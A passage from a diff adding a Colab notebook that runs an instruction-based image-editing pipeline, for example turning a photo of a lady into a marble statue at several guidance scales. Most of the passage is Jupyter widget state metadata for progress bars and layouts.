+            "9e6fae549ea447e89a0ab36ba19e5fab",
+            "d79c2804b05248d8989a1462716a3478"
+          ]
+        },
+        "id": "Mg2Lb-zmlb5x",
+        "outputId": "4d02793b-0ee1-4f20-82bf-2dc4dd42e550"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"convert the lady into a highly detailed marble statue\"\n",
+        "images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=1.5, guidance_scale=10).images\n",
+        "images[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 689,
+          "referenced_widgets": [
+            "ac4c75c4296f46e39a0435d0dbafc277",
+            "916ddc4e29e448788ab4fdeb38d4a217",
+            "aa75dd567b114609a3f47591a002709c",
+            "b3c948132a7a42eab9a90a4c64d0087d",
+            "fbbee3ba802b41c084ee35dccc8bbabf",
+            "4d91d312e2ff43509652ce52d7d999d3",
+            "3808c4765a054dd0a2771050871177a4",
+            "532e652d4d5245c8b7579c4fda4217c3",
+            "4b313724533349be92ef5cb53c1388cd",
+            "4b39f1322aca40da82220ddcfa0c3975",
+            "0f564dbb7bc94fd4880dfd72e6547694"
+          ]
+        },
+        "id": "cyMZAXBylb9O",
+        "outputId": "a625892a-f411-4f91-8d49-249d25fb2146"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"convert the lady into a highly detailed marble statue\"\n",
+        "images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=1.5, guidance_scale=15).images\n",
+        "images[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "mIGaidaV2JJ4"
+      },
+      "outputs": [],
+      "source": []
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 473,
+          "referenced_widgets": [
+            "c964733e23d749a0bd2069fc80b5fce7",
+            "c30a4ba5e89d42bfbd3ad524b9ed1303",
+            "d9486e79630742c89fa5f6a104580064",
+            "2c0421659acb482295485521efb6bb03",
+            "1431d8d8d9b04038b4e774fd743b78cd",
+            "51a8aa7fde0c449392867b95a7aa6c16",
+            "d39253a104af48aab68a5590b0159487",
+            "acccd96a575d4a679112ff80c935f1c9",
+            "9038138255b442b7b17885ab7f31aed1",
+            "1766005fceb14bd5a1910622789cc5ad",
+            "b3ca161774d7404d903afbed855f054f"
+          ]
+        },
+        "id": "Hh399h-cdtMe",
+        "outputId": "ad42fbd2-68d4-4b1d-f811-57c0fcbfbef3"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"turn the red wooden stick to brown\"\n",
+        "images2 = pipe(prompt, image=images[0], num_inference_steps=10, image_guidance_scale=1).images\n",
+        "images2[0]"
+      ]
+    }
+  ],
+  "metadata": {
+    "accelerator": "GPU",
+    "colab": {
+      "collapsed_sections": [
+        "CqAnOnnOcp4W",
+        "mPGPiJhXcsr4",
+        "6rAfgSFK3s-B",
+        "OU9zLHTR2H_j"
+      ],
+      "gpuType": "T4",
+      "provenance": []
+    },
+    "kernelspec": {
+      "display_name": "Python 3",
+      "name": "python3"
+    },
+    "language_info": {
+      "name": "python"
+    },
+    "widgets": {
+      "application/vnd.jupyter.widget-state+json": {
+        "0220a92b3977434dab97c2329e9f5013": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "03098089aa0d4e879c1f50cce8384a4e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "039beb2fc4c6412d9e05d9d50884e940": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_0cf59b40f6304ec38bdaaee06943173f",
+              "IPY_MODEL_63ecaa7f41ce4289aa768b77e9ceebe7",
+              "IPY_MODEL_2a8a4ed0b2854b558efd5acce8dcf5c2"
+            ],
+            "layout": "IPY_MODEL_19469649ab6b44f8b1d6408ac2646579"
+          }
+        },
+        "03c6a309fc494734bd9ebf16634f9063": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "041e8d74b5744f908e37407f4cdece4e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "0439a988a2834c379b037e5faba17290": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_3f2fee0c35144daf8234caf57ad3907e",
+            "placeholder": "​",
+            "style": "IPY_MODEL_f0ad1221f0f84ac085df2315bd00d572",
+            "value": " 100/100 [00:26&lt;00:00,  3.70it/s]"
+          }
+        },
+        "04835e754bc84aa392f824e387a8b205": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "04ec14e8bc8f4ad5827e351c01e5a1ee": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "05328f40cf5642359294af84f26355c3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_792bda382a844c8a9bd9c9de789b44ac",
+              "IPY_MODEL_db498aee51494067b6ad507e47f37bd4",
+              "IPY_MODEL_2b7aaec231e244b1899f99e893b053df"
+            ],
+            "layout": "IPY_MODEL_3c3af60f4f07476c8700910b4259a066"
+          }
+        },
+        "06e488fd0cbb44a79328b0c88392b650": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_7af9fef14d3a4464aa16232f9d2cf94a",
+            "max": 569,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_c13cbe7f79d64c9a9ae4fb90a5cbef9a",
+            "value": 569
+          }
+        },
+        "0711e6b0af7e4905a8136cf407e2ae8b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_901f71e702474e77be59006bba599918",
+              "IPY_MODEL_1d10557816514c4bb08d957fdde13904",
+              "IPY_MODEL_3bfe8491fdc84726a9a2ea2a9eb33884"
+            ],
+            "layout": "IPY_MODEL_c4f63d6416174604a065f2dc2b8775a7"
+          }
+        },
+        "09bc80852b334a6f9905c6d93eada57c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_7bcb49396cf84ea6878d5ceddd480326",
+            "max": 10,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_8c8b4b87df9242318f1ceaf5fc00b216",
+            "value": 10
+          }
+        },
+        "0a2014cc648840249d57eb9c569e9fa1": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "0ace66c377a14034a594774ec024e074": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_9d28ea1de5494de5b911c1f120185b7a",
+            "placeholder": "​",
+            "style": "IPY_MODEL_9887290953b6414eacb4396a5b240a2e",
+            "value": "100%"
+          }
+        },
+        "0afcffbca4c1462ba2bc1d3cd1aa2c13": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "0b695e5be5184a43a9f26b21f69a4338": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_0cc9773ba8b3455495375b0b955891e6",
+            "max": 1021,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_95adb39e73614c96af18ccb2468d5b37",
+            "value": 1021
+          }
+        },
+        "0c1419eec41b48f093ec53410c10c583": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "0cc9773ba8b3455495375b0b955891e6": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "0cf59b40f6304ec38bdaaee06943173f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_1cbc65f4245e4c25a64827f0e2beb08d",
+            "placeholder": "​",
+            "style": "IPY_MODEL_59e8c90ecdf04c2b89f9a539e7f7fdbb",
+            "value": "100%"
+          }
+        },
+        "0ef6a22743594f0081b7af4c1ec4ab71": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "0f564dbb7bc94fd4880dfd72e6547694": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "0f79fff269c349648fb6e15bf127a7c8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_55e9c8210ea743939cdcdf6b873e00a1",
+            "placeholder": "​",
+            "style": "IPY_MODEL_7e4e6d45329a415cba65daa185369ad6",
+            "value": " 13/13 [00:48&lt;00:00,  4.98s/it]"
+          }
+        },
+        "12300224bc654d47b7dd02e04835203a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_dafd2b93bc6245a88e6631f306fc1e9b",
+              "IPY_MODEL_59514b4f9b8f4930a1b07aad4ab19d25",
+              "IPY_MODEL_c25bc0fc44214d9f8a5f4abba43eaf09"
+            ],
+            "layout": "IPY_MODEL_f76d97ab2a6e46d5891af7fc0c3f511b"
+          }
+        },
+        "12694ca9da6c43eaa5640a47cea2d10b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "1431d8d8d9b04038b4e774fd743b78cd": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "147c95feace0447ca58cc4079cb2cbe5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "1494c31d3d114a13a3ebbe85df2316ba": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "14a49cf00e9744dc8f2ac8ec3f19c90c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "14aad595b905426b8d7fc4390bd755d8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_25082abec02c47aab0f6c66225815b6b",
+            "placeholder": "​",
+            "style": "IPY_MODEL_721121db2dc54b14aec771d3c6cdd0fd",
+            "value": "Fetching 13 files: 100%"
+          }
+        },
+        "14fe6c5fa5274bde8d90be608d3a6814": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "1529067d721f4287b26e576942b5bc97": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_bbbca2e29d6444f7ba4e592068124650",
+            "max": 524619,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_42f14a72c44047b695a6b2bfc5184370",
+            "value": 524619
+          }
+        },
+        "16063a5dd86649f2b7f37184c7ac0593": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_fb156e0150e24ec9a367a1e26c4750ec",
+              "IPY_MODEL_925594a07eba4bdc92e59ef1df5ea63e",
+              "IPY_MODEL_d5228dfbe50b4d078996b74d1b71ba28"
+            ],
+            "layout": "IPY_MODEL_6daa2b5b26e4459aa5bdebd0062cf021"
+          }
+        },
+        "1707f4e4e7a64dbb8a38f7042836bfb2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
